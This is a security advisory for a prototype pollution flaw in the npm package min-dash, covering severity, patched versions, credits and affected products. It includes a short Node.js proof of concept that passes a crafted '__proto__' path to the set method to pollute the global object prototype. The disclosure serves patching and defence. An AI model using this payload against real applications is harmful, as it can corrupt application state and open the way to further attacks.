GHSA-2m53-83f3-562jHighCVSS 7.5

Prototype pollution in min-dash

Published
February 1, 2022
Last Modified
July 18, 2025

🔗 CVE IDs covered (1)

📋 Description

Impact

The set method is vulnerable to prototype pollution with specially crafted inputs.

// insert the following into poc.js and run node poc,js (after installing the package)
 
let parser = require("min-dash");
parser.set({}, [["__proto__"], "polluted"], "success");
console.log(polluted);

Patches

min-dash>=3.8.1 fix the issue.

Workarounds

No workarounds exist for the issue.

References

Closed via https://github.com/bpmn-io/min-dash/pull/21.

Credits

Credits to Cristian-Alexandru STAICU who found the vulnerability and to Idan Digmi from the Snyk Security Team who reported the vulnerability to us, responsibly.

🎯 Affected products2

  • npm/min-dash:< 3.8.1
  • maven/org.webjars.npm:min-dash:< 3.8.1

🔗 References (8)